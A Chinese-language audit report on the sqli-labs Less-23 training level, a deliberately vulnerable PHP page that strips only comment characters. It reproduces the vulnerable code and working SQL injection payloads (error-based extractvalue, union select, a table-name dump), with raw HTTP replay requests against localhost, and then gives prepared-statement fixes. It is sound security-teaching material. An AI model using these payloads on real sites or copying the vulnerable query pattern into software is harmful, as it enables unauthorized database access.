sqli-labs-Less-23-代码审计报告

12次阅读
没有评论

Less-23 审计报告:注释符过滤绕过(报错型,单引号闭合)

1. 关卡概述

项目 内容
关卡名称 Less-23 **Error Based- no comments**
源码路径 Less-23/index.php
漏洞类型 SQL 注入 – 报错型(GET 单引号闭合,注释符被过滤)
注入点参数 GET /Less-23/?id=
报错/盲注 报错回显(print_r(mysql_error()))
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-23/index.php

// 第 20 行:用户输入直接取出
$id=$_GET['id'];

// 第 23~27 行:仅过滤注释符 # 与 --(用空串替换)
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

// 第 36 行:过滤后的值直接拼入 SQL(单引号包裹)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 37 行:执行
$result=mysql_query($sql);

// 第 51 行:出错回显
print_r(mysql_error());

3. 漏洞分析

  • 输入来源:$_GET['id'],完全可控。
  • 过滤机制:只过滤 # 和 -- 两种注释符。没有过滤空格、/* */、换行、%0b 等其它分隔符;也没有对引号做转义。
  • SQL 拼接位置:WHERE id='$id'。
  • 闭合方式:因为 -- 与 # 都被删掉,无法用注释符截断,必须用等价表达式闭合:
    • 方案 A:' '(空格闭合)——注入 ' 使 '$id' 变成 '... ' 的合法字符串,再接 union select。形如 1' union select 1,2,database() ' 。
    • 方案 B:用 and '1'='1 闭合 —— 注入 1' and extractvalue(...) and '1'='1,让末尾 ' 与最后一个 '1' 的引号配对。
  • 是否回显:第 51 行 print_r(mysql_error()) 报错回显。

4. 利用方式

步骤一:确认注入点(注释符被过滤)

  • ?id=1'-- - → -- 被删除,SQL 变为 WHERE id='1''(引号失衡 → 报错)。
  • ?id=1' (末尾空格)→ 可正常返回,说明空格可作分隔符。

步骤二:报错注入(方案 B,最省事)

1' and extractvalue(1,concat(0x7e,database())) and '1'='1

拼接后:

SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,database())) and '1'='1' LIMIT 0,1

预期结果:回显 XPATH syntax error: '~security'。

步骤三:联合注入(方案 A,用空格闭合)

1' union select 1,2,database() ' 

拼接后(末尾 ' 与模板尾 ' 组成 ' ' 即一个含空格的字符串):

SELECT * FROM users WHERE id='1' union select 1,2,database() ' ' LIMIT 0,1

预期结果:返回 Your Login name:2、Your Password:security(第 2、3 列回显)。

步骤四:进阶(爆表名等)

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1'='1

5. Yakit 重放数据包

GET /sqli-labs/Less-23/?id=1'%20and%20extractvalue(1,concat(0x7e,database()))%20and%20'1'='1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

联合注入报文(注意末尾 '%20,即一个空格闭合):

GET /sqli-labs/Less-23/?id=1'%20union%20select%201,2,database()%20'%20 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 对 id 做 ctype_digit()/is_numeric() 强校验。
  • 不要依赖"过滤关键字/注释符"这种黑名单方式;黑名单永远可被绕过(本例 #/-- 被过滤后仍可用等价闭合)。
  • 关闭报错回显,print_r(mysql_error()) 应替换为写日志。
  • 数据库最小权限,升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0